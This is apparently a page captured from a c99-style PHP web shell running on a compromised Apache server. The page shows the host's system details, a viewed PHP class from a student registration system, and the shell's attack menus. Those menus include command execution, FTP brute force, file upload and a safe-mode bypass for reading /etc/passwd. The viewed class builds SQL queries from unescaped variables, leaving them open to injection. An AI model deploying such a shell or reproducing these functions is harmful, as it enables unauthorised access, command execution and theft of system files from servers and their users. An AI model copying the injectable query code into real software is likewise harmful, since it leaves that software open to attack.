!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eregis_/class/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     clsrg_NoStudyDate.php (1.53 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//--Class rg_NoStudyDate--------------------------

include_once "clsbase_rg_NoStudyDate.php";

class 
rg_NoStudyDate extends base_rg_NoStudyDate{

function 
RSrg_NoStudyDateByParent($parent){
    
$this->SetQuery("select * from rg_NoStudyDate where nsdNsdIdParent='$parent'");
}

function 
RSrg_NoStudyDateByParentIsNULL(){
    
$this->SetQuery("select * from rg_NoStudyDate where nsdNsdIdParent is NULL");
}

function 
RSrg_NoStudyDateByParentIsNULLOrderDateLimit($start$pageSize){
    
$this->SetQuery("select * from rg_NoStudyDate where nsdNsdIdParent is NULL 
                        order by nsdDate desc limit $start, $pageSize"
);
}

function 
GetMaxDateByParent($parent){
    
$this->SetQuery("select max(nsdDate) as num from rg_NoStudyDate where nsdNsdIdParent='$parent'");
    if (
$result=$this->GetResult()) {
        return 
$result['num'];
    }
}

function 
RSrg_NoStudyDateByDate($date){
    
$this->SetQuery("select * from rg_NoStudyDate where nsdDate='$date'");
}

function 
RSrg_NoStudyDateByBetweenDateOrderDateFrPr($frDate$toDate){
    
$this->SetQuery("select * from rg_NoStudyDate where nsdDate between '$frDate' and '$toDate' 
                    order by nsdDate, nsdPrdFrTime"
);
}

function 
RSrg_NoStudyDateByDateAndFrPr($date$frPr){
    
$this->SetQuery("select * from rg_NoStudyDate where nsdDate='$date' and nsdPrdFrTime='$frPr'");
}

function 
RSrg_NoStudyDateByDateAndFrPrAndToPr($date$frPr$toPr){
    
$this->SetQuery("select * from rg_NoStudyDate where nsdDate='$date' and nsdPrdToTime>='$frPr' and nsdPrdFrTime<='$toPr'");
}

//--End class rg_NoStudyDate--
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0085 ]--